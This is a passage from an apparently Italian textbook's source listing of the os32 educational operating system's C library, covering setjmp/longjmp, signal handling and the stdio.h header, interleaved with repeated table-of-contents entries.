120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588

120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667

120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732

120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799

120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.10.1 lib/setjmp/longjmp.c

Si veda la sezione 112.40.

```
2760001 #include <sys/os32.h>
2760002 #include <setjmp.h>
2760003 //----------------------------------------------------------------------
2760004 void
2760005 longjmp (jmp_buf env, int val)
2760006 {
2760007   sysmsg_jmp_t msg;
2760008   msg.env = env;
2760009   msg.ret = val;
2760010   sys (SYS_LONGJMP, &msg, sizeof msg);
2760011 }
```

120.10.2 lib/setjmp/setjmp.s

Si veda la sezione 112.40.

```
2770001 .global setjmp
2770002 .extern sys
2770003 #----------------------------------------------------------------------
2770004 .text
2770005 #----------------------------------------------------------------------
2770006 .align 4
2770007 setjmp:
2770008     #
2770009     # Previous pushes:
2770010     #
2770011     #   push &env
2770012     #   push back_address   # made by a call to setjmp() function
2770013     #
2770014     enter $8, $0
2770015     #
2770016     # sysmsg_jmp_t msg;
2770017     #
2770018     movl  $0,  -4(%ebp)         # msg.ret = 0;
2770019     #
2770020     movl  8(%ebp), %eax         # msg.env = env;
2770021     movl  %eax,-8(%ebp)
2770022     #
2770023     # sys (SYS_SETJMP, &msg, sizeof msg);
2770024     #
2770025     lea   -8(%ebp), %eax
2770026     pushl $8                    # sizeof msg
2770027     pushl %eax                  # &msg
2770028     pushl $47                   # SYS_SETJMP
2770029     call  sys
2770030     add   $4, %esp
2770031     add   $4, %esp
2770032     add   $4, %esp
2770033     #
2770034     # return (msg.ret);
2770035     #
```

```
2770036     movl   -4(%ebp), %eax
2770037     leave
2770038     ret
```

120.11 os32: «lib/signal.h»

Si veda la sezione 116.2.

```
2780001 #ifndef _SIGNAL_H
2780002 #define _SIGNAL_H       1
2780003 //----------------------------------------------------------------------
2780004 #include <sys/types.h>
2780005 //----------------------------------------------------------------------
2780006 #define SIGHUP           1
2780007 #define SIGINT           2
2780008 #define SIGQUIT          3
2780009 #define SIGILL           4
2780010 #define SIGABRT          6
2780011 #define SIGFPE           8
2780012 #define SIGKILL          9
2780013 #define SIGSEGV         11
2780014 #define SIGPIPE         13
2780015 #define SIGALRM         14
2780016 #define SIGTERM         15
2780017 #define SIGSTOP         17
2780018 #define SIGTSTP         18
2780019 #define SIGCONT         19
2780020 #define SIGCHLD         20
2780021 #define SIGTTIN         21
2780022 #define SIGTTOU         22
2780023 #define SIGUSR1         30
2780024 #define SIGUSR2         31
2780025 //----------------------------------------------------------------------
2780026 typedef int sig_atomic_t;
2780027 typedef void (*sighandler_t) (int); // The type `sighandler_t' is a
2780028                                     // pointer to a function for the
2780029                                     // signal handling, with a parameter
2780030                                     // of type `int', returning `void'.
2780031 //
2780032 // Special function used to call the real signal handler.
2780033 // This function will return to the `back' address, instead
2780034 // where it was called.
2780035 //
2780036 void _sighandler_wrapper (uint32_t handler, uint32_t signal,
2780037                           uint32_t back);
2780038 //
2780039 // Special undeclarable functions.
2780040 //
2780041 #define SIG_ERR ((sighandler_t) -1) // It transform an integer number
2780042 #define SIG_DFL ((sighandler_t) 0)  // into a `sighandler_t' type,
2780043 #define SIG_IGN ((sighandler_t) 1)  // that is, a pointer to a function
```

```
2780044                                                    // that does not exists really.
2780045 //----------------------------------------------------------------------
2780046 sighandler_t signal (int sig, sighandler_t handler);
2780047 int          kill   (pid_t pid, int sig);
2780048 int          raise  (int sig);
2780049 //----------------------------------------------------------------------
2780050 #endif
```

120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581

120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656

120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703

120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781

120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821

120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.11.1 lib/signal/_sighandler_wrapper.s

Si veda la sezione 112.43.

```
2790001 .global _sighandler_wrapper
2790002 #------------------------------------------------------------------------
2790003 .section .text
2790004 #------------------------------------------------------------------------
2790005 # Port input byte.
2790006 #------------------------------------------------------------------------
2790007 _sighandler_wrapper:
2790008     #
2790009     # Current stack is:
2790010     #
2790011     # push %eip                 # Back from interrupted code.
2790012     # push <sig_num>            # Signal number.
2790013     # push <sig_handler>        # Signal handler address
2790014     #
2790015     # Please note that THERE IS NO RETURN ADDRESS! Instead
2790016     # you find the signal handler address there.
2790017     #
2790018     # This routine should have to call the signal handler
2790019     # function, and then return back to the interrupted code.
2790020     #
2790021     enter $0, $0                # No local variables.
2790022     pushf
2790023     pusha
2790024     .equ SIG_HAND,  4           # First argument.  [1]
2790025     .equ SIG_NUM,   8           # Second argument. [1]
2790026     #
2790027     # [1] This function is called without the return address inside
2790028     #     the stack. So the arguments are 4 bytes nearer than the
2790029     #     usual.
2790030     #
2790031     mov  SIG_NUM(%ebp), %edx    # Copy the signal number into EDX.
```

```
2790032      mov  SIG_HAND(%ebp), %eax    # Copy the signal handler function
2790033                                   #  address into EAX.
2790034      push %edx                    # Prepare argument for the signal
2790035                                   #  handler function.
2790036      call *%eax                   # Call the signal handler function.
2790037                                   #
2790038      add  $4, %esp                # Pop the signal number argument.
2790039                                   #
2790040      popa
2790041      popf
2790042      leave
2790043      #
2790044      # Now we are back to the same stack as the beginning:
2790045      #
2790046      # push %eip          # back from interrupted code.
2790047      # push <sig_num>
2790048      # push <sig_handler>
2790049      # push %eip          # back from _sighandler_wrapper()
2790050      #
2790051      # The stack pointer must be modified before returning,
2790052      # so that the address to the original interrupted instruction
2790053      # is used for return. Without such modification, the RET
2790054      # instruction would find the signal handler address instead!
2790055      #
2790056      add $4, %esp
2790057      add $4, %esp
2790058      #
2790059      # Now we are ready to return to the original interrupted
2790060      # address!
2790061      #
2790062      ret
2790063
```

120.11.2 lib/signal/kill.c

Si veda la sezione 112.25.

```
2800001  #include <sys/os32.h>
2800002  #include <sys/types.h>
2800003  #include <signal.h>
2800004  #include <errno.h>
2800005  #include <string.h>
2800006  //----------------------------------------------------------------------
2800007  int
2800008  kill (pid_t pid, int sig)
2800009  {
2800010      sysmsg_kill_t msg;
2800011      if (pid < -1)        // Currently unsupported.
2800012        {
2800013          errset (ESRCH);
2800014          return (-1);
```

```
2800015         }
2800016     msg.pid    = pid;
2800017     msg.signal = sig;
2800018     msg.ret    = 0;
2800019     msg.errno  = 0;
2800020     sys (SYS_KILL, &msg, (sizeof msg));
2800021     errno = msg.errno;
2800022     errln = msg.errln;
2800023     strncpy (errfn, msg.errfn, PATH_MAX);
2800024     return (msg.ret);
2800025 }
```

120.11.3 lib/signal/signal.c

Si veda la sezione 112.43.

```
2810001 #include <sys/os32.h>
2810002 #include <sys/types.h>
2810003 #include <signal.h>
2810004 #include <errno.h>
2810005 #include <string.h>
2810006 //----------------------------------------------------------------------
2810007 sighandler_t
2810008 signal (int sig, sighandler_t handler)
2810009 {
2810010     sysmsg_signal_t msg;
2810011 
2810012     msg.signal  = sig;
2810013     msg.handler = handler;
2810014     msg.wrapper = (uintptr_t) _sighandler_wrapper;
2810015     msg.ret     = SIG_DFL;
2810016     msg.errno   = 0;
2810017     sys (SYS_SIGNAL, &msg, (sizeof msg));
2810018     errno = msg.errno;
2810019     errln = msg.errln;
2810020     strncpy (errfn, msg.errfn, PATH_MAX);
2810021     return (msg.ret);
2810022 }
```

120.12 os32: «lib/stdio.h»

Si veda la sezione 113.105.

```
2820001 #ifndef _STDIO_H
2820002 #define _STDIO_H        1
2820003 //----------------------------------------------------------------------
2820004 #include <restrict.h>
2820005 #include <stdarg.h>
2820006 #include <stdint.h>
```

```
2820007 #include <limits.h>
2820008 #include <NULL.h>
2820009 #include <size_t.h>
2820010 #include <sys/types.h>
2820011 #include <SEEK.h>       // SEEK_CUR, SEEK_SET, SEEK_END
2820012 //----------------------------------------------------------------------
2820013 #define BUFSIZ              8192  // At least the file system max zone
2820014                                   // size.
2820015 #define _IOFBF                 0  // Input-output fully buffered.
2820016 #define _IOLBF                 1  // Input-output line buffered.
2820017 #define _IONBF                 2  // Input-output with no buffering.
2820018 
2820019 #define L_tmpnam    FILENAME_MAX  // <limits.h>
2820020 
2820021 #define FOPEN_MAX       OPEN_MAX  // <limits.h>
2820022 #define FILENAME_MAX    NAME_MAX  // <limits.h>
2820023 #define TMP_MAX           0x7FFF
2820024 
2820025 #define EOF                 (-1)  // Must be a negative value.
2820026 //----------------------------------------------------------------------
2820027 typedef off_t     fpos_t;   // 'off_t' defined in <sys/types.h>.
2820028 
2820029 typedef struct {
2820030     int           fdn;      // File descriptor number.
2820031     char          error;    // Error indicator.
2820032     char          eof;      // End of file indicator.
2820033 } FILE;
2820034 
2820035 extern FILE _stream[];      // Defined inside 'lib/stdio/FILE.c'.
2820036 
2820037 #define stdin   (&_stream[0])
2820038 #define stdout  (&_stream[1])
2820039 #define stderr  (&_stream[2])
2820040 //----------------------------------------------------------------------
2820041 void     clearerr   (FILE *fp);
2820042 int      fclose     (FILE *fp);
2820043 int      feof       (FILE *fp);
2820044 int      ferror     (FILE *fp);
2820045 int      fflush     (FILE *fp);
2820046 int      fgetc      (FILE *fp);
2820047 int      fgetpos    (FILE *restrict fp, fpos_t *restrict pos);
2820048 char    *fgets      (char *restrict string, int n, FILE *restrict fp);
2820049 int      fileno     (FILE *fp);
2820050 FILE    *fopen      (const char *path, const char *mode);
2820051 int      fprintf    (FILE *fp, char *restrict format, ...);
2820052 int      fputc      (int c, FILE *fp);
2820053 int      fputs      (const char *restrict string, FILE *restrict fp);
2820054 size_t   fread      (void *restrict buffer, size_t size, size_t nmemb,
2820055                      FILE *restrict fp);
2820056 FILE    *freopen    (const char *restrict path,
2820057                      const char *restrict mode,
2820058                      FILE *restrict fp);
```

```
2820059 int       fscanf     (FILE *restrict fp, const char *restrict format,
2820060                       ...);
2820061 int       fseek      (FILE *fp, long int offset, int whence);
2820062 int       fsetpos    (FILE *fp, fpos_t *pos);
2820063 long int ftell      (FILE *fp);
2820064 off_t    ftello     (FILE *fp);
2820065 size_t   fwrite     (const void *restrict buffer, size_t size,
2820066                       size_t nmemb, FILE *restrict fp);
2820067 #define  getc(p)    (fgetc (p))
2820068 int      getchar    (void);
2820069 char    *gets       (char *string);
2820070 void     perror     (const char *string);
2820071 int      printf     (const char *restrict format, ...);
2820072 #define  putc(c, p) (fputc ((c), (p)))
2820073 int      putchar    (int c);
2820074 int      puts       (const char *string);
2820075 void     rewind     (FILE *fp);
2820076 int      scanf      (const char *restrict format, ...);
2820077 void     setbuf     (FILE *restrict fp, char *restrict buffer);
2820078 int      setvbuf    (FILE *restrict fp, char *restrict buffer,
2820079                      int buf_mode, size_t size);
2820080 int      snprintf   (char *restrict string, size_t size,
2820081                      const char *restrict format, ...);
2820082 int      sprintf    (char *restrict string, const char *restrict format,
2820083                      ...);
2820084 int      sscanf     (char *restrict string, const char *restrict format,
2820085                      ...);
2820086 int      vfprintf   (FILE *fp, char *restrict format, va_list arg);
2820087 int      vfscanf    (FILE *restrict fp, const char *restrict format,
2820088                      va_list arg);
2820089 int      vprintf    (const char *restrict format, va_list arg);
2820090 int      vscanf     (const char *restrict format, va_list ap);
2820091 int      vsnprintf  (char *restrict string, size_t size,
2820092                      const char *restrict format, va_list arg);
2820093 int      vsprintf   (char *restrict string, const char *restrict format,
2820094                      va_list arg);
2820095 int      vsscanf    (const char *string, const char *format,
2820096                      va_list ap);
2820097 //----------------------------------------------------------------------
2820098 #endif
```

120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460

120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
